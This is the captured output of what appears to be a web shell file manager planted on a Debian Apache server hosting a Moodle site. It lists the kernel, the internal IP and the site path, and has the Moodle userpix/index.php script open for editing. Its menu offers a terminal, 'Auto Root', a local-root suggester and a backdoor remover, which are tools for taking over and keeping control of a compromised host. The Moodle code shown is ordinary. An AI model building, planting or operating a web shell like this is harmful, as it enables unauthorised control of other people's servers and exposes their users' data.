Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
userpix /
Delete
Unzip
Name
Size
Permission
Date
Action
index.php
1.12
KB
-rw-r--r--
2017-06-22 14:57
Save
Rename
<?php // This simple script displays all the users with pictures on one page. // By default it is not linked anywhere on the site. If you want to // make it available you should link it in yourself from somewhere. // Remember also to comment or delete the lines restricting access // to administrators only (see below) require('../config.php'); $PAGE->set_url('/userpix/index.php'); require_login(); /// Remove the following three lines if you want everyone to access it $syscontext = context_system::instance(); require_capability('moodle/site:config', $syscontext); $title = get_string("users"); $PAGE->set_context($syscontext); $PAGE->navbar->add($title); $PAGE->set_title($title); $PAGE->set_heading($title); echo $OUTPUT->header(); $rs = $DB->get_recordset_select("user", "deleted = 0 AND picture > 0", array(), "lastaccess DESC", user_picture::fields()); foreach ($rs as $user) { $fullname = fullname($user); echo "<a href=\"$CFG->wwwroot/user/view.php?id=$user->id&course=1\" ". "title=\"$fullname\">"; echo $OUTPUT->user_picture($user); echo "</a> \n"; } $rs->close(); echo $OUTPUT->footer();